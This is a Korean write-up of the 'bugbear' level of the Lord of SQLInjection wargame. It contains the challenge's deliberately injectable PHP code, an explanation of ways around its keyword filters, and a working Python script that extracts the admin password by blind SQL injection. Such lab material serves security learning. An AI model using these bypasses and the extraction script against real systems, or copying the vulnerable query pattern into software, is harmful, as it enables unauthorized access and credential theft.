13번째 문제인 bugbear다.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
highlight_file(__FILE__);
?>
이번 문제에서는 pw 파라미터와 no 파라미터에 각각 다른 필터링이 적용되어 있다. 두 파라미터 모두 따옴표(')를 preg_match()를 이용하여 필터링하고 있으며 no 파라미터의 경우 substr, ascii, '=', or, and, ' ', like, '0x' 등 기존에 자주 사용하던 여러 문자열과 연산자를 필터링하고 있어 난관이 예상된다. 특히 이번 문제는 substr 문자열 자체를 탐지하고 있기 때문에 substr()을 substring()으로 우회하는 방법은 먹히지 않는다.
2021/01/01 - [챌린지/los.rubiya.kr] - Lord of SQLInjection - darkknight
그렇지만 이전 포스트에서 언급했듯이 substr 함수는 left, right 함수를 조합하여 대체할 수 있다. 또한 동일비교 연산자('=') 역시 대소비교 연산자('<')로 하나씩 비교하면서 대체할 수 있다. 따옴표를 필터링하는 것은 쌍따옴표를 사용함으로써 우회할 수 있지만 이미 있는 따옴표를 닫아버린다던지 하는 우회는 불가능하다. 그렇기 때문에 실질적으로 pw 파라미터에는 시도해볼만한 것이 없으며 no 파라미터 뒤에 쌍따옴표를 활용한 문자열로 위의 left, right 함수와 대소비교 연산자를 이용하여 SQL Injection을 수행해야 한다.
import requests
password = ''
password_length = 0
URL = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': 'INSERT_YOUR_COOKIE_HERE'}
for estimated_length in range(100):
query={'pw': '1',
'no': '1||left(id,5)<"admio"&&left(id,5)>"admim"' + '&&length(pw)<' + str(estimated_length)}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
password_length = estimated_length - 1
print("admin's password length is {}".format(password_length))
break
if password_length < 1:
print("Password length unknown")
exit()
for current_password_length in range(1, password_length+1) :
for password_chr in range(ord('0'),ord('z')+1) :
query={'pw': '1',
'no': '1||left(id,5)<"admio"&&left(id,5)>"admim"&&right(left(pw,' + \
str(current_password_length) +'),1)<"' + chr(password_chr) + '"'}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
password = password+chr(password_chr - 1)
print(password)
break
if len(password) == password_length:
print("Got it. Password is {} or {}.".format(password.upper(), password.lower()))
이번 코드에서는 확실하게 admin 계정의 비밀번호를 얻기 위해 'left(id,5)<"admio"&&left(id,5)>"admim"' 같은 쿼리를 사용했다. 아마 이 문제에서 이전처럼 pw를 구하려다가 다른 계정의 비밀번호를 구해가지고 한참동안 헤맸던 것 같은데 'left(id,5)="admin"' 같은 쿼리를 사용할 수 없기 때문에 admin 문자열의 맨 마지막 글자인 'n'의 앞 뒤 문자(m, o)를 이용해서 admim, admin, admio처럼 문자열의 순서를 이용해서 비교하도록 구현하였다.
먼저 admin 계정의 비밀번호의 길이를 구해주고 그만큼 반복문을 돌면서 "right(left(pw, {}), 1)"같은 쿼리의 {}를 1에서부터 하나씩 늘려가면서 substr 함수처럼 한 글자씩 비밀번호 길이를 구하는 과정을 반복했다. 이외에는 이전 코드와 비슷하다.
어렵지 않게 클리어할 수 있었다.
이번 문제는 다양한 필터링을 어떻게 우회할 수 있는지 총집합하여 복습할 수 있는 문제였다. 특히 공백도 필터링되고 있기 때문에 띄어쓰기를 최대한 줄이고 and, or 연산자는 &&, || 연산자로 우회, substr 함수는 left와 right 함수를 이용하여 대체하는 등 여러가지 기법을 사용해볼 수 있었다.
'챌린지 > los.rubiya.kr' 카테고리의 다른 글
Lord of SQLInjection - assassin (0) | 2021.01.05 |
---|---|
Lord of SQLInjection - giant (0) | 2021.01.04 |
Lord of SQLInjection - darkknight (0) | 2021.01.01 |
Lord of SQLInjection - golem (0) | 2020.12.31 |
Lord of SQLInjection - skeleton (0) | 2020.12.30 |